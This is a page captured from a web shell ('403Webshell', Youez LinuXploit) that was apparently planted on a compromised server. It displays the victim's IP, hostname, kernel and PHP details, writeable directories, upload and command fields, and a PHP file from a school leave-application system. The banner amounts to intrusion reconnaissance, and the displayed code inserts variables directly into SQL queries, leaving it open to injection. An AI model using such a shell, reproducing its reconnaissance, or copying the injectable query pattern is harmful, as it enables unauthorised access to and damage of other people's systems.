403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)pathways.org.hk/MIS20140127/old20140414/LeaveApplication/unused/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)pathways.org.hk/MIS20140127/old20140414/LeaveApplication/unused/UndoAction.php
<?php
include_once 'CheckFollowUpAction.php';
include_once '../include/DBConnect.php';

checkLeaveLesson::undoOneLesson(5);

if(checkLeaveLesson::$undo_One_leave_lesson==TRUE && checkLeaveLesson::$leave_lesson_id!=-1){
    //$query = "SELECT `lesson_id` FROM `leave_lesson` WHERE `leave_id` = ''";
    $UndoLesson_id = checkLeaveLesson::$leave_lesson_id;
    $query = "SELECT `attend_id`,`lesson_id`,`state`,`is_substitute`,`make_up_lesson_remark` FROM `lesson_attendance` WHERE 
        `lesson_id`='$UndoLesson_id' and deleted=0 and actived=1";
    $result = $dbh->prepare($query);
    $result->execute();
    $Undo_Attendance_Records = $result->fetchAll();
    var_dump($Undo_Attendance_Records);
    foreach ($Undo_Attendance_Records as $UAR){
        $get_attendance_state = $UAR['state'];
        $get_Undo_lesson_id = $UAR['lesson_id'];
        $get_Undo_attendance_id = $UAR['attend_id'];
        $get_substitute = $UAR['is_substitute'];
        $get_MakeUpLesson_Remark = $UAR['make_up_lesson_remark'];
        ################################
        #### IF the lesson Canceled ####
        //Re-Set state from 4(cancel) to 3(need make up)
        if($get_attendance_state == 4){
            $query = "UPDATE `lesson_attendance` SET `state`=3 WHERE `attend_id` = '$get_Undo_attendance_id' and
                `lesson_id` = '$get_Undo_lesson_id' and `stu_linking_id`>0 and `state`=4";
            $result = $dbh->prepare($query);
            $result->execute();
        }
        #######################
        #### IF Substitute ####
        //delete the substitute teacher
        if($get_substitute==1){
            $query = "UPDATE `lesson_attendance` SET `deleted`=1 WHERE `attend_id` = '$get_Undo_attendance_id' and 
                `lesson_id` = '$get_Undo_lesson_id' and `staff_id`>0 AND `is_substitute` =1";
            $result = $dbh->prepare($query);
            $result->execute();
        }
        #############################
        #### IF Make Up Arranged ####
        if($get_MakeUpLesson_Remark!=""){
            //Delete the makeup class attendance records
            $query = "UPDATE `lesson_attendance` SET `deleted`=1 WHERE `make_up_lesson_id` = '$get_Undo_lesson_id' and 
                `deleted` = 0 and `stu_linking_id` >0 ";
            $result = $dbh->prepare($query);
            $result->execute();
            //Reset the state to 3
            $query = "UPDATE `lesson_attendance` SET `state`=3 WHERE `attend_id` = '$get_Undo_attendance_id' and 
                `stu_linking_id`>0 and `deleted`=0 and `actived`=1";
            $result = $dbh->prepare($query);
            $result->execute();
        }
    }
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit